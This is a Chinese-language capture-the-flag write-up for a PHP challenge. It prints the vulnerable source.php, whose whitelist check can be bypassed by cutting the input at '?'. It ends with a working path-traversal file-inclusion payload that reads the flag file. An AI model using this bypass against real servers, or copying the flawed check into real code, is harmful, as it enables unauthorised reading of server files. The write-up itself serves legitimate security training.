页面也没有输入点
F12 发现注释
于是访问对应 source.php 查看。
显示对应代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\\"<https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\>" />";
}
?>
有个 hint.php 文件
访问知道对应的 flag 文件名字
通过代码知道可以 传入参数 file,并且有个 include 会包含对应的 file文件。
所以知道我们要访问 source.php,并且要绕过 if判断并且在后面执行 Include操作。
且我们知道会通过 ?
进行参数分割
但是 include $_REQUEST['file'];
是使用原本传入的文件路径
于是我们进行传入参数
/source.php?file=hint.php?/../../../../ffffllllaaaagggg
得到flag